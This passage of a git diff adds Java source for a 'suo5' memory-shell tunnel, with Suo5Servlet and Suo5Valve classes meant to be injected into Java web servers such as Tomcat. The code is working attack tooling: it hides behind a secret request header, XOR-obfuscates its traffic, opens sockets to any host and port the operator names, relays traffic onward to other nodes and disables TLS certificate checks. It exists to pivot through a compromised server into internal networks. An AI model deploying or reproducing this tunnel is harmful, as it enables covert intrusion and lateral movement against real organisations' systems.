// ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java new file mode 100644 index 00000000..c525c841 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java @@ -0,0 +1,590 @@ +package com.reajason.javaweb.memshell.shelltool.suo5; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.net.ssl.*; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Servlet implements Servlet, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Servlet() { + } + + public Suo5Servlet(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + @Override + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + + } + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Servlet p = new Suo5Servlet(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Valve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Valve.java new file mode 100644 index 00000000..aabce0d4 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Valve.java @@ -0,0 +1,595 @@ +package com.reajason.javaweb.memshell.shelltool.suo5; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.net.ssl.*; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + protected Valve next; + protected boolean asyncSupported; + + public Suo5Valve() { + } + + public Suo5Valve(InputStream gInStream, OutputStream gOutStream) { + this.gInStream = gInStream; + this.gOutStream = gOutStream; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + String contentType = request.getContentType(); + if (contentType == null) { + this.getNext().invoke(request, response); + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + this.getNext().invoke(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Valve p = new Suo5Valve(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public 